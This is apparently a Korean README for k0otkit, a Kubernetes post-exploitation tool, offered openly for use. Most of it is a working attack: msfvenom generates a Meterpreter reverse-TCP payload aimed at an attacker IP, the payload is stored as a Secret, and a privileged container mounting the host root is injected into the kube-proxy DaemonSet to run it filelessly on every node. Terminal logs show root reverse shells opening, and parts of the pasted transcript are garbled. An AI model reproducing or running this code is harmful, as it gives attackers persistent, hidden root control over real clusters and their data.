k0otkit - K8s를 K8s 방식으로 조작하기

소개

k0otkit은 Kubernetes 클러스터 대상 침투 시 사용할 수 있는 보편적인 사후 침투 기술입니다.

k0otkit을 사용하면 대상 Kubernetes 클러스터의 모든 노드를 빠르고 은밀하며 지속적으로 조작할 수 있습니다 (리버스 셸).

k0otkit은 Kubernetes와 rootkit의 결합입니다.

전제 조건:

k0otkit은 사후 침투 도구이므로, 먼저 클러스터를 장악하고, 컨테이너에서 탈출하여 마스터 노드의 루트 권한을 획득해야 합니다 (정확히는 대상 Kubernetes의 관리자 권한을 얻어야 합니다).

시나리오:

웹 침투 후 대상의 셸을 획득합니다.
필요한 경우 권한 상승을 시도하고 성공합니다.
대상 환경이 Kubernetes 클러스터의 컨테이너(Pod)임을 발견합니다.
컨테이너에서 탈출을 시도하고 성공합니다 (CVE-2016-5195, CVE-2019-5736, docker.sock 또는 기타 기술 사용).
마스터 노드의 루트 셸을 획득하고 kubectl을 사용하여 admin으로 클러스터에 명령을 내릴 수 있게 됩니다.
이제 클러스터의 모든 노드를 가능한 한 빨리 제어하려 합니다. 바로 k0otkit의登场입니다!

k0otkit에 대한 자세한 내용은 k0otkit: K8s를 K8s 방식으로 해킹하기 에서 확인할 수 있습니다.

사용 방법

대상 Kubernetes의 마스터 노드에서 루트 셸을 획득했는지 확인하십시오. (대상 Kubernetes의 관리자 권한이 있다면 k0otkit을 사용할 수 있지만, 토큰이나 인증서를 사용하려면 k0otkit_template.sh의 kubectl 명령을 수정해야 할 수도 있습니다.)

공격자 호스트에 Metasploit을 설치했는지 확인하십시오 (msfvenom과 msfconsole을 사용할 수 있어야 함).

k0otkit 배포

이 저장소를 클론합니다:

git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh

pre_exp.sh에서 공격자의 IP와 포트를 자신의 IP와 포트로 변경합니다:

ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444

k0otkit을 생성합니다:

./pre_exp.sh

k0otkit.sh 파일이 생성됩니다. 그런 다음 리버스 셸 핸들러를 실행합니다:

./handle_multi_reverse_shell.sh

핸들러가 준비되면, k0otkit.sh의 내용을 복사하여 대상 Kubernetes 마스터 노드의 셸에 붙여넣고 <Enter>를 눌러 실행합니다.

잠시 기다리면 모든 노드에서 리버스 셸을 확인할 수 있습니다 :)

참고: k0otkit으로 조작할 수 있는 Kubernetes 클러스터의 수에는 제한이 없습니다.

셸과 상호 작용

k0otkit이 성공적으로 배포된 후에는 원하는 대로 리버스 셸과 상호 작용할 수 있습니다:

# msfconsole 내에서
sessions 1

특징

K8s 리소스 및 기능 활용 (K8s를 K8s 방식으로 해킹)
동적 컨테이너 주입
통신 암호화 (Meterpreter 덕분)
파일리스

예제

k0otkit 생성:

kali@kali:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d '\n'
++ base64 -w 0
+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh

리버스 셸 핸들러 실행:

kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >

k0otkit.sh의 내용을 복사하여 대상 Kubernetes 마스터 노드의 셸에 붙여넣고 <Enter>를 누르십시오:

kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 ...
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/local/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content

ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')

volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')

image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')

# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace:volume_name=cache
root@victim-2:~#
root@victim-2:~# mount_path=/var/kube-p kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF

# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below

# inject malicious container into kube-proxy pod
kubecroxy-cache
root@victim-2:~#
root@victim-2:~# ctr_name=kube-proxy-cache
root@victim-2:~#
root@victim-2:~# binary_file=/usr/local/bin/kube-proxy-cache
root@victim-2:~#
root@victim-2:~# payload_name=cache
root@victim-2:~#
root@victim-2:~# secret_name=proxy-cache
root@victim-2:~#
root@victim-2:~# secret_data_name=content
root@victim-2:~#
root@victim-2:~# ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-tl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
  | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
  | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n          pr      name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
containers:/{print NR}')oxy -o yaml | awk '/

root@victim-2:~#
root@victim-2:~# volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
root@victim-2:~#
root@victim-2:~# image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
root@victim-2:~#
root@victim-2:~# # create payload secret
root@victim-2:~# cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
> apiVersion: v1
> kind: Secret
> metadata:
>   name: $secret_name
>   namespace: kube-system
> type: Opaque
> data:
>   $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
> EOF
secret/proxy-cache created
root@victim-2:~#
root@victim-2:~# # assume that ctr_line_num < volume_line_num
root@victim-2:~# # otherwise you should switch the two sed commands below
root@victim-2:~#
root@victim-2:~# # inject malicious container into kube-proxy pod
root@victim-2:~# kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
>   | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
>   | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n                name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
>   | kubectl replace -f -
daemonset.extensions/kube-proxy replaced

리버스 셸을 기다립니다:

msf5 exploit(multi/handler) > [*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.107:4444 -> 192.168.1.106:51610) at 2020-11-30 03:30:18 -0500

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                    Connection
  --  ----  ----                   -----------                                    ----------
  1         meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ 192.168.1.106  192.168.1.107:4444 -> 192.168.1.106:51610 (192.168.1.106)

기능 1 종료 및 재연결:

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > shell
Process 9 created.
Channel 1 created.
whoami
root
exit
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.106 - Meterpreter session 1 closed.  Reason: User exit
msf5 exploit(multi/handler) >
[*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.106:52292) at 2020-11-30 03:32:25 -0500

기능 2 노드로 탈출 및 제어:

msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...

meterpreter > cd /var/kube-proxy-cache
meterpreter > ls
Listing: /var/kube-proxy-cache
==============================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
40755/rwxr-xr-x   4096      dir   2020-03-03 03:21:08 -0500  bin
40755/rwxr-xr-x   4096      dir   2020-03-05 22:23:56 -0500  boot
40755/rwxr-xr-x   4180      dir   2020-04-09 21:32:10 -0400  dev
40755/rwxr-xr-x   4096      dir   2020-04-17 02:31:15 -0400  etc
40755/rwxr-xr-x   4096      dir   2020-03-03 03:00:00 -0500  home
100644/rw-r--r--  36257923  fil   2020-03-05 22:23:56 -0500  initrd.img
100644/rw-r--r--  39829184  fil   2020-03-03 03:00:17 -0500  initrd.img.old
40755/rwxr-xr-x   4096      dir   2020-04-16 03:52:46 -0400  lib
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  lib64
40700/rwx------   16384     dir   2020-03-03 02:33:19 -0500  lost+found
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:29 -0500  media
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  mnt
40755/rwxr-xr-x   4096      dir   2020-04-16 03:59:01 -0400  opt
40555/r-xr-xr-x   0         dir   2020-04-09 21:32:01 -0400  proc
40700/rwx------   4096      dir   2020-11-30 04:00:05 -0500  root
40755/rwxr-xr-x   1020      dir   2020-11-30 04:04:59 -0500  run
40755/rwxr-xr-x   12288     dir   2020-04-16 03:52:46 -0400  sbin
40755/rwxr-xr-x   4096      dir   2020-03-03 03:02:37 -0500  snap
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  srv
40555/r-xr-xr-x   0         dir   2020-04-14 22:51:06 -0400  sys
41777/rwxrwxrwx   4096      dir   2020-11-30 04:10:07 -0500  tmp
40755/rwxr-xr-x   4096      dir   2020-04-16 04:42:54 -0400  usr
40755/rwxr-xr-x   4096      dir   2020-03-03 02:51:25 -0500  var
100600/rw-------  6712336   fil   2020-03-05 22:22:58 -0500  vmlinuz
100600/rw-------  7184032   fil   2020-03-03 02:33:55 -0500  vmlinuz.old

k0otkit

인기

k0otkit - K8s를 K8s 방식으로 조작하기

소개

사용 방법

특징

예제